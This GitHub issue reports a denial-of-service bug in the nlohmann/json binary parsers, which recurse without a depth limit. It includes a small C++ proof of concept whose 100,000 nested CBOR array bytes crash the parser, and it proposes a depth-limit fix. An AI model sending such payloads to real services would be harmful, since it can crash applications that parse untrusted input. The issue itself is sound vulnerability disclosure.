Skip to content

Stack overflow in binary format parsers (CBOR/MessagePack/UBJSON/BSON) due to unbounded recursion #5104

Description

@hazohelet

Summary

The binary format parsers (binary_reader.hpp) are vulnerable to stack overflow via deeply nested input. Unlike the text JSON parser which uses an iterative approach with an explicit stack, all four binary parsers (CBOR, MessagePack, UBJSON, BSON) use unbounded recursion with no depth limit. A trivially small crafted payload can crash any application that parses untrusted binary format input.

Affected parsers

  • json::from_cbor()
  • json::from_msgpack()
  • json::from_ubjson()
  • json::from_bson()

Root cause

The recursive call chains in binary_reader.hpp have no depth counter or limit:

  • CBOR: parse_cbor_internal() (line 447) → get_cbor_array() (line 1116) / get_cbor_object() (line 1154) → parse_cbor_internal() (line 1128)
  • MessagePack: parse_msgpack_internal()get_msgpack_array() / get_msgpack_object()parse_msgpack_internal()
  • UBJSON/BJData: parse_ubjson_internal() recurses similarly
  • BSON: parse_bson_internal()parse_bson_element_internal()parse_bson_internal()

The text JSON parser (parser.hpp) does not have this issue — it uses an iterative design with std::vector<bool> states as an explicit stack.

Impact

Denial of service. Any application using these functions to parse untrusted input can be crashed (segfault) with a payload as small as a few kilobytes.

Proof of concept

#include <iostream>
#include <vector>
#include <nlohmann/json.hpp>

int main()
{
    // Each 0x81 byte = "CBOR array of length 1", creating one nesting level.
    // 100,000 of them overflows the default ~8MB stack.
    const std::size_t depth = 100000;
    std::vector<std::uint8_t> payload(depth, 0x81);
    payload.push_back(0x00);  // innermost value: integer 0

    std::cout << "Parsing CBOR with " << depth << " nesting levels ("
              << payload.size() << " bytes)...\n";

    try
    {
        nlohmann::json j = nlohmann::json::from_cbor(payload);
    }
    catch (const std::exception& e)
    {
        std::cout << "Exception: " << e.what() << "\n";
    }

    return 0;
}

Compile and run:

g++ -std=c++17 -I include -o poc poc.cpp
./poc
# Result: Segmentation fault (core dumped), exit code 139

Suggested fix

Add a recursion depth counter to binary_reader and return a parse_error when a configurable maximum depth is exceeded, similar to how other JSON libraries handle this (e.g., Python's json module defaults to a depth limit of 1000). Alternatively, convert the binary parsers to an iterative design matching the text parser.

Environment

  • nlohmann/json version: 3.12.0 (develop branch, commit f534f4f)
  • Compiler: g++ with C++17
  • OS: Linux 6.11.0-29-generic

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions